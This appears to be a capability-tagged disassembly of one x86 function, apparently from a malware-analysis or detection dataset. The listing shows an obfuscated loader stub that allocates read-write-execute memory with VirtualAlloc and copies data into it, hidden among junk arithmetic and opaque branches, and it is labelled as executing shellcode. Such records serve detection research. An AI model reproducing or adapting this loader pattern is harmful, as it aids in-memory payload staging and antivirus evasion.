Function at 0x4763fd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
mov eax, 0x9003850
mov edx, dword [0x494dc9]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], edx
push ebx
lea eax, [eax + edx*2 - 0x18]
lea edx, [eax + edx*2 + 0x30eb]
sub dword [ebp - 8], edx
push esi
sub eax, edx
sub dword [ebp - 0x10], eax
push edi
mov edx, eax
mov esi, dword [ebp - 0x10]
cmp esi, 0xffffff92
je 0x476461
mov ebx, 0xa
sub dword [ebp - 8], esi
mov eax, esi
cmp eax, 0xfffffff6
jne 0x476446
add dword [ebp - 0x10], eax
add esi, ebx
sub esi, eax
cmp esi, edx
je 0x476461
lea ecx, [esi*2 + 0x7f7b]
mov eax, dword [ebp - 0x10]
and dword [ebp - 8], edx
mov dword [ebp - 4], ecx
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], esi
push 0x40
push 0x3000
push 0xa4c30
push 0
call sub.KERNEL32.DLL_VirtualAlloc
cmp esi, 0x41
je 0x476484
cmp esi, dword [ebp - 8]
je 0x476484
xor dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], eax
mov ebx, esi
mov edx, eax
cmp edx, dword [ebp - 0x10]
jne 0x4764b0
sub dword [ebp - 0x10], ebx
xor ebx, ebx
or dword [ebp - 4], edx
sub ebx, eax
mov edx, esi
or dword [ebp - 0x18], edx
cmp ebx, esi
jne 0x4764b0
add ebx, eax
mov eax, dword [ebp - 8]
mov esi, ebx
sub dword [ebp - 4], esi
add dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0x494dcd
sub dword [ebp - 8], esi
mov edi, dword [ebp - 0x1c]
add dword [ebp - 0x18], edi
cmp esi, ebx
je 0x476511
mov edx, esi
mov ecx, 0x99f2
sub dword [ebp - 4], edi
cmp edx, 0x6ad1
jne 0x476511
mov eax, edi
mov ebx, eax
cmp ebx, 0x3a
je 0x4764f2
mov eax, dword [ebp - 8]
add dword [ebp - 4], edx
xor esi, esi
add dword [ebp - 0x18], esi
and eax, edx
xor dword [ebp - 8], eax
sub dword [ebp - 8], ebx
add dword [ebp - 0x10], edi
add ecx, ecx
cmp eax, edx
jne 0x476511
mov edx, 0x5b
mov ecx, dword [ebp - 8]
and ecx, edi
add ecx, edx
sub ecx, esi
add dword [ebp - 0x10], eax
add ecx, edi
mov dword [ebp - 0x20], ecx
mov ebx, dword [ebp - 0xc]
add dword [ebp - 0x20], ebx
mov esi, dword [ebx]
mov eax, dword [0x494dc9]
mov edx, esi
cmp edx, dword [ebp - 8]
je 0x47652c
sub dword [ebp - 0x18], eax
and dword [ebp - 0x18], edx
mov ecx, dword [ebx + 4]
mov eax, esi
xor edx, edx
cmp ecx, esi
je 0x4765bc
and edx, esi
test eax, 0xf4
je 0x4765bc
cmp ebx, 0x76
je 0x4765bc
sub dword [ebp - 0x10], ecx
sub dword [ebp - 8], edx
sub eax, esi
cmp eax, dword [0x494dc9]
je 0x4765bc
xor edx, edx
test eax, 0x8803
je 0x4765bc
add dword [ebp - 0x18], ebx
cmp eax, dword [ebp - 4]
jne 0x4765bc
or dword [ebp - 4], edx
test edi, 0xfbc2
jne 0x4765bc
mov edx, dword [0x494dc9]
cmp eax, dword [0x494dc9]
je 0x4765bc
test eax, 0x52ff
je 0x4765bc
cmp ebx, eax
jne 0x4765bc
cmp ecx, esi
jne 0x4765bc
cmp eax, esi
jne 0x4765bc
sub eax, ecx
cmp eax, dword [ebp - 0x18]
jne 0x4765bc
sub dword [ebp - 0x18], esi
sub dword [ebp - 8], edx
sub eax, edi
cmp eax, dword [0x494dc9]
je 0x4765bc
mov edx, dword [0x494dc9]
add dword [ebp - 0x20], ecx
add dword [ebp - 8], eax
add dword [ebp - 0x10], edx
or esi, esi
je 0x4765eb
mov eax, dword [ebp - 0x20]
test eax, 0xf752
jne 0x4765d2
xor edx, edx
sub dword [ebp - 0x10], eax
add dword [ebp - 0x20], edx
repne movsb byte es:[edi], byte [esi]
cmp esi, dword [0x494dc9]
jne 0x4765df
add dword [ebp - 0x10], ecx
add dword [ebp - 0xc], 8
mov dword [ebp - 0x14], edi
jmp 0x4764bd
mov esi, dword [0x494dc1]
add dword [ebp - 8], esi
mov ebx, esi
or dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 4]
dec esi
cmp esi, 0x76
jne 0x47660a
and esi, eax
sub dword [ebp - 0x14], esi
mov edx, dword [0x494d71]
mov esi, eax
test esi, 9
jne 0x47663d
cmp esi, ebx
jne 0x47663d
mov edi, esi
xor ebx, ebx
add dword [ebp - 8], ebx
cmp edi, dword [ebp - 0x20]
jne 0x47663d
xor ecx, ecx
mov esi, 0x6d19
add esi, edx
sub ecx, ebx
or edi, ecx
add dword [ebp - 4], esi
sub dword [ebp - 0x20], edi
pop edi
mov edx, edi
add dword [ebp - 0x10], edx
pop esi
xor ecx, ecx
cmp esi, 0x8f57
jne 0x47667c
or dword [ebp - 4], edx
xor ebx, ebx
mov edx, dword [ebp - 8]
add ecx, ecx
cmp esi, 0x2f44
jne 0x47667c
add dword [ebp - 8], ebx
lea ebx, [ecx + 0xe355]
mov ecx, dword [0x494dc9]
add edx, eax
sub dword [ebp - 0x18], edx
xor dword [ebp - 0x10], ebx
and ecx, edx
xor dword [ebp - 0x18], ecx
pop ebx
add edx, edi
cmp ebx, edx
jne 0x476690
sub dword [ebp - 0x14], ebx
lea ecx, [ecx + edi*2 + 0x44]
add dword [ebp - 8], edx
or dword [ebp - 8], ecx
mov esp, ebp
pop ebp
ret